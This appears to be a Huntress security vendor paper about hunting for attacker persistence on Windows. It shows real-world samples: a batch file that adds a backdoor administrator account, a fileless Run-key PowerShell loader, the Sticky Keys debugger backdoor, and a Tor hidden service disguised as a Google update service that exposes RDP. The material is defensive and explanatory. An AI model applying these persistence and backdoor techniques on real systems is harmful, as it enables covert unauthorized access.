HUNTRESS

The Missing Piece in Your Security Stack: Hunting for Malicious Footholds

In the cybersecurity arms race, the attackers have a distinct advantage. While defenders are expected to get it right every time, an attacker only needs to be one step ahead to get around an organization's defenses. Once inside, they can remain undetected for weeks or sometimes months.

Let's dive into a few examples of their techniques for staying under the radar:

Attacker Evasion Techniques

Trusted Application Abuse

Rather than write new malware to disk, malware authors may try to exploit readily available trusted applications to launch their malicious activities (e.g. DLL hijacking, fileless malware). Because these applications are used for normal system operation (e.g. PowerShell), traditional security tools may be configured to allow these operations to run in order avoid potential service disruption.

Obfuscation

In cybersecurity, finding ways to conceal malicious behavior is known as obfuscation and often uses common off-the shelf methods. For example, encoding converts the malware file into a different format to evade standard signature-based detection. Packing is another method that simply compresses the file and bundles it with extraction code, making it both smaller and harder to analyze by traditional file scanners.

Trusted Infrastructure Abuse

With the rise of cloud applications, attackers use legitimate, publicly hosted services and toolsets (e.g. Dropbox, Pastebin, Google Drive) as part of their attack infrastructure. These services are typically not blocked at an enterprise's gateway and enable outbound communications to hide in plain site.

At Huntress, we've spent a lot of time trying to understand our adversary. What we've discovered is that the most overlooked threats not only adapt to hide themselves from preventative measures, they establish persistence on the machine. Why is this important?

Why Persistent Footholds

If we think about the attacker, they spend time and effort carefully crafting their attacks, discovering ways to trick victims into opening their attachments, and slipping past endpoint detection mechanisms. Now imagine losing all that effort to a simple reboot of the machine. To solve for this, attackers have figured out ways to establish a foothold, or persistence, to remain on the system long-term.

This is what we look for at Huntress. Malware has been using the same techniques to create footholds since Windows NT4/95, using components such as services, scheduled tasks, and other autostart locations. We use this knowledge and ask, 'why is this component configured to perform these actions' rather than 'what is this file and does it look malicious'.

Example of a Persistent Foothold

What we've discovered is that these persistent footholds are an often overlooked piece of endpoint telemetry when hunting for threats. This adds a whole new level of visibility that elevates your existing security with extremely little overhead.

Let's say, for example, an attacker is able to compromise a system and create a Scheduled Task that automatically executes the following command every time the machine starts up:

```
cmd /c "start /b
```

Kickoff a new command prompt in the background

```
c:\ProgramData\48756e74.bat"
```

Location of batch file to be executed

At a glance, it is easy to focus on the second half of this command; there is clearly a very unusual looking file being called in this case. Let's go ahead and open the file to see what's inside:

```
net user evilguy "myEvilPassword" /ADD
net localgroup administrators evilguy /ADD
```

Batch file adds a new backdoor account with administrative privileges

The challenge for many security tools revolves around deciding when to take action. Many tools require a high degree of confidence that malicious activity is occurring before quarantining a file or stopping a process. In cases where attacker activity might be flagged as unknown or suspicious, security tools will often allow the action to continue in order to avoid potential service disruption for the end user.

Going back to this example, it is extremely difficult for an automated engine to validate malicious intent with this scheduled task. This is because creating a username and password through a command line prompt could actually be a legitimate administrative task. It is potentially risky to stop the application without an understanding of why it should not run.

At Huntress, we look at all of these contextual cues together: A Scheduled Task set to automatically run a command prompt to execute an unusual batch file in the c:\ProgramData directory — all of these elements together alert us of unusual persistence activity. Our ThreatOps team uses this knowledge to investigate and pull the event from suspicious to confirmed malicious by quickly piecing together these elements and making an informed decision.

How Huntress Works

01 

The Huntress agent is installed on workstations and servers to collect and send information about persistence mechanisms to the Huntress cloud.

02 

Data is analyzed by our automated engines to highlight new or unknown persistence mechanisms.

03 

Our ThreatOps team hunts through new and unseen persistence mechanisms to investigate and confirm the presence of malicious footholds.

04 

Once a threat is discovered, a custom incident report is delivered outlining details of the threat and easy to follow actions for remediation.

Huntress in Action

We've outlined how an attacker examines antivirus and other preventive products to adapt their methods. We've also defined the importance of analyzing persistent footholds, a mechanism that many threat actors rely on. Let's examine some real world examples of footholds we've identified:

Fileless Malware / Living Off the Land

```
Key     HKU\S-1-12-1-3199256917-1110659224-2114472586-2021617454\
        SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Value   bcdprepl
Data    C:\WINDOWS\system32\wbem\wmic.exe /output:clipboard process call
        create "powershell -w hidden iex([System.Text.Encoding]::ASCII.
        GetString((get-itemproperty 'HKCU:\Software\AppDataLow\Software\
        Microsoft\6E687916-F514-D0A1-EF82-F90493D63D78').CIWmorui))"
```

In this example, attackers created a registry value, bcdprepl, within the user's Run key; these values are always immediately started when the user logs in. The command that is then executed uses the legitimate wmic.exe application, which in turn starts a PowerShell command to extract and run the malicious payload stored in the registry. This is known as a "fileless" malware attack because there is no malicious file on disk. The attackers use two legitimate programs to hide under the radar and make it hard to follow the chain of execution.

Backdoors

```
Key     HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
        Execution Options\sethc.exe
Value   Debugger
Data    C:\Windows\system32\cmd.exe
```

What we're looking at here are attackers who have created a backdoor using a debugging feature of Windows called Image File Execution Options. When one of these options is invoked — in this case, Sticky Keys (sethc.exe) — Windows will instead launch a command prompt (cmd.exe). Because anyone can launch Sticky Keys from a login prompt by simply pressing the "Shift" key 5 times, this gives attackers access to a command prompt without logging in. To make matters worse, Image File Execution Options are generally used for developers as a debugging tool, which means using this key often provides elevated access to the machine.

Application Masquerading

```
Service Name    GoogleUpdates
Display Name    Google Update Service (gupdate)
Command         c:\windows\google\googleupdates.exe --nt service -f
                c:\windows\google\torrc.txt
File Path       c:\windows\google\googleupdates.exe
```

Here, attackers have created a service named "GoogleUpdates," which is meant to pass as a legitimate application. What's interesting is that this has nothing to do with Google at all. This is actually turning on a TOR service where incoming TOR connections are redirected to 3389 (RDP), creating a backdoor where they now have access to the system.

```
GeoIPFile C:\Windows\Google\geoip
GeoIPv6File C:\ Windows\Google\geoip
HiddenServiceDir C:\Windows\Google\domain
ClientOnly 1
ExitRelay 0
SocksPort 0
HiddenServicePort 3389 127.0.0.1:3389
HiddenServiceNumIntroductionPoints 6
Log notice-err file C:\Windows\Google\log.txt
ClientTransportPlugin meek exec
C:\Windows\Google\GoogleCrashHandler.exe
```